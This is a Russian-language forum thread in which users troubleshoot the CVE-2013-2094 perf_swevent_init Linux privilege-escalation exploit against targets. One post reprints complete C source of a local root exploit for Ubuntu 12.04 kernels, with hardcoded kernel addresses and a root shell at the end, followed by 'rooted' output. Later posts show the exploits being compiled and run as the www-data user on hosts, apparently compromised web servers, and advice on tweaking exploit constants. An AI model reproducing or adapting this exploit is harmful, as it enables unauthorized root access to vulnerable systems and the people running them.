Старый 09.07.2013, 10:50   #11
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Цитата:
затем собрал ядро 3.0.xx, тупо через make oldconfig, не меняя остальных настроек. На собранном ядре не работает ни один =(
Вот это необычно.
А на таргете возможно sysctl-ом perf отключили. Если отключили рекомендуемым поначалу везде "sysctl kernel.perf_event_paranoid=2" (можно проверить по sysctl -a), но ядро по дате уязвимо, просто поменяй в эксплойте 0x300 на 0x320.
SynQ вне форума   Ответить с цитированием
Старый 11.07.2013, 11:12   #12
j3k
 
Регистрация: 06.07.2013
Сообщений: 9
Репутация: 0
По умолчанию

Цитата:
Сообщение от SynQ Посмотреть сообщение
просто поменяй в эксплойте 0x300 на 0x320.
поменял, теперь в трейсе выводит

perf_event_open(0x7fff7e9cced0, 0, 0xffffffff, 0xffffffff, 0) = -1 ENOENT (No such file or directory)

ps
на таргете так и есть
sysctl kernel.perf_event_paranoid=2

Последний раз редактировалось j3k; 11.07.2013 в 12:42..
j3k вне форума   Ответить с цитированием
Старый 12.07.2013, 15:36   #13
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

May 19 2013

на даты поглядывать надоть, ага

https://bugzilla.redhat.com/show_bug.cgi?id=962792

Reported: 2013-05-14 09:01 EDT by Petr Matousek

Последний раз редактировалось Pashkela; 12.07.2013 в 15:39..
Pashkela вне форума   Ответить с цитированием
Старый 12.07.2013, 16:09   #14
j3k
 
Регистрация: 06.07.2013
Сообщений: 9
Репутация: 0
По умолчанию

дата коммита версии ядра судя по kernel.org
Date: Wed May 1 08:57:55 2013 -0700

возможно есть еще надежда =)
j3k вне форума   Ответить с цитированием
Старый 13.07.2013, 10:19   #15
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Надежды нет В апстриме пропачтено еще 26 апреля в 3.0.75, а у тебя 3.0.76:
https://www.kernel.org/pub/linux/ker...angeLog-3.0.75

Цитата:
commit 456edf57d7a6fe1b238ec708b19063d78cf4b250
Author: Tommi Rantala <tt.rantala@gmail.com>
Date: Sat Apr 13 22:49:14 2013 +0300

perf: Treat attr.config as u64 in perf_swevent_init()

Последний раз редактировалось SynQ; 13.07.2013 в 10:24..
SynQ вне форума   Ответить с цитированием
Старый 13.07.2013, 13:01   #16
j3k
 
Регистрация: 06.07.2013
Сообщений: 9
Репутация: 0
По умолчанию

ну что ж - нет так нет |-)
в любом случае, SynQ и Pashkela, спасибо за ответы
j3k вне форума   Ответить с цитированием
Старый 10.06.2014, 22:38   #17
ewi
 
Регистрация: 02.04.2014
Сообщений: 75
Репутация: 2
По умолчанию CVE-2013-2094 - Ubuntu 3.2(5).0-23(29)

Думаю, данный мод заслуживает внимания, т. к. овечкой с прошлой темы порутан не был:
http://www.exploit-db.com/exploits/33589/

Код:
/**
 * Ubuntu 12.04 3.x x86_64 perf_swevent_init Local root exploit
 * by Vitaly Nikolenko (vnik5287@gmail.com)
 *
 * based on semtex.c by sd
 *
 * Supported targets:
 * [0] Ubuntu 12.04.0 - 3.2.0-23-generic
 * [1] Ubuntu 12.04.1 - 3.2.0-29-generic
 * [2] Ubuntu 12.04.2 - 3.5.0-23-generic
 *
 * $ gcc vnik.c -O2 -o vnik
 *
 * $ uname -r
 * 3.2.0-23-generic
 *
 * $ ./vnik 0
 */
  
#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>
  
#define BASE  0x1780000000
#define SIZE  0x0010000000
#define KSIZE 0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
  
typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);
 
uint64_t targets[3][3] =
            {{0xffffffff81ef67e0,  // perf_swevent_enabled
              0xffffffff81091630,  // commit_creds
              0xffffffff810918e0}, // prepare_kernel_cred
             {0xffffffff81ef67a0,
              0xffffffff81091220,
              0xffffffff810914d0},
             {0xffffffff81ef5940,
              0xffffffff8107ee30,
              0xffffffff8107f0c0}
        };
 
void __attribute__((regparm(3))) payload() {
    uint32_t *fixptr = (void*)AB(1);
    // restore the handler
    *fixptr = -1;
    commit_creds_fn commit_creds = (commit_creds_fn)AB(2);
    prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)AB(3);
    commit_creds(prepare_kernel_cred((uint64_t)NULL));
}
  
void trigger(uint32_t off) {
    uint64_t buf[10] = { 0x4800000001, off, 0, 0, 0, 0x300 };
    int fd = syscall(298, buf, 0, -1, -1, 0);
    assert( !close(fd) );
}
  
int main(int argc, char **argv) {
    uint64_t off64, needle, kbase, *p;
    uint8_t *code;
    uint32_t int_n, j = 5, target = 1337;
    int offset = 0;
    void *map;
 
    assert(argc == 2 && "target?");
    assert( (target = atoi(argv[1])) < 3 );
 
    struct {
        uint16_t limit;
        uint64_t addr;
    } __attribute__((packed)) idt;
 
    // mmap user-space block so we don't page fault
    // on sw_perf_event_destroy
    assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
    memset(map, 0, SIZE);
 
    asm volatile("sidt %0" : "=m" (idt));
    kbase = idt.addr & 0xff000000;
    printf("IDT addr = 0x%lx\n", idt.addr);
 
    assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
    memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &payload, 1024);
    memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13);
 
    // can only play with interrupts 3, 4 and 0x80
    for (int_n = 3; int_n <= 0x80; int_n++) {
        for (off64 = 0x00000000ffffffff; (int)off64 < 0; off64--) {
            int off32 = off64;
     
            if ((targets[target][0] + ((uint64_t)off32)*24) == (idt.addr + int_n*16 + 8)) {
                offset = off32;
                goto out;
            }
        }
        if (int_n == 4) {
            // shit, let's try 0x80 if the kernel is compiled with
            // CONFIG_IA32_EMULATION
            int_n = 0x80 - 1;
        }
    }
out:
    assert(offset);
    printf("Using int = %d with offset = %d\n", int_n, offset);
 
    for (j = 0; j < 3; j++) {
        needle = AB(j+1);
        assert(p = memmem(code, 1024, &needle, 8));
        *p = !j ? (idt.addr + int_n * 16 + 8) : targets[target][j];
    }
    trigger(offset);
    switch (int_n) {
    case 3:
        asm volatile("int $0x03");
        break;
    case 4:
        asm volatile("int $0x04");
        break;
    case 0x80:
        asm volatile("int $0x80");
    }
 
    assert(!setuid(0));
    return execl("/bin/bash", "-sh", NULL);
}
rooted:
Код:
$ uname -a
Linux *** 3.2.0-29-generic #46-Ubuntu SMP Fri Jul 27 17:03:23 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux

Последний раз редактировалось ewi; 10.06.2014 в 22:42..
ewi вне форума   Ответить с цитированием
Старый 18.06.2014, 02:06   #18
l1ght
 
Аватар для l1ght
 
Регистрация: 04.07.2010
Сообщений: 32
Репутация: 32
По умолчанию

меня он тоже выручил, хочу добавить что
Цитата:
* Supported targets:
* [0] Ubuntu 12.04.0 - 3.2.0-23-generic
* [1] Ubuntu 12.04.1 - 3.2.0-29-generic
* [2] Ubuntu 12.04.2 - 3.5.0-23-generic
не взялось:
Цитата:
$ uname -a
Linux xxx.ru 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
$ cat /etc/issue
Ubuntu 12.04 LTS \n \l
$ ./1 0
1: 1.c:92: main: Assertion `offset' failed.
IDT addr = 0xffff83043ff02010
Aborted (core dumped)
зато root на
Цитата:
$ uname -a
Linux xxxхх.com 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
$ cat /etc/issue
Ubuntu 12.04.1 LTS \n \l
магия)
l1ght вне форума   Ответить с цитированием
Старый 07.07.2014, 12:15   #19
vnik
 
Регистрация: 07.07.2014
Сообщений: 7
Репутация: 0
По умолчанию

твой IDT адрес совсем не там где он должен быть. я такое только видел на AWS instances. На 3.2.0-23-generic IDT должен быть 0xffffffff81dd7000
vnik вне форума   Ответить с цитированием
Старый 04.08.2014, 19:54   #20
r4ndy
 
Регистрация: 25.06.2014
Сообщений: 8
Репутация: 0
По умолчанию

Цитата:
$ uname -a
Linux x 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
$ cat /etc/issue
Ubuntu 12.04 LTS \n \l
$ gcc vnik.c -o exp
$ gcc synq.c -o exp2
$ ls -la
-rwxr-xr-x 1 www-data www-data 13234 Aug 4 16:15 exp
-rwxr-xr-x 1 www-data www-data 13565 Aug 4 16:15 exp2
-rw-r--r-- 1 www-data www-data 5319 Aug 4 16:01 synq.c
-rw-r--r-- 1 www-data www-data 3806 Aug 4 15:58 vnik.c
$ ./exp 0 2>&1
exp: vnik.c:116: main: Assertion `p = memmem(code, 1024, &needle, 8)' failed.
IDT addr = 0xffffffff81dd7000
Using int = 3 with offset = -49063
Aborted (core dumped)
$ ./exp2 2>&1
exp2: synq.c:91: main: Assertion `p = memmem(code, 1024, &needle, 8)' failed.
2.6.37-3.x x86_64
sd@fucksheep.org 2010
Aborted (core dumped)

$ grep -i JUMP_LABEL /boot/config-$( uname -r )
CONFIG_JUMP_LABEL=y
CONFIG_HAVE_ARCH_JUMP_LABEL=y
$ grep -i CONFIG_MODULES /boot/config-$( uname -r )
CONFIG_MODULES=y
$ ldd --version
ldd (Ubuntu EGLIBC 2.15-0ubuntu10) 2.15
cat /proc/kallsyms|grep idt_table; cat /proc/kallsyms|perf_swevent_enabled
0000000000000000 B idt_table
что может быть?

UPD: 3.2.0-29-generic #46-Ubuntu SMP Fri Jul 27 17:03:23 UTC 2012 x86_64 аналогичная ошибка

Последний раз редактировалось r4ndy; 04.08.2014 в 20:15..
r4ndy вне форума   Ответить с цитированием
Ответ

Метки
exploit, ubuntu

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot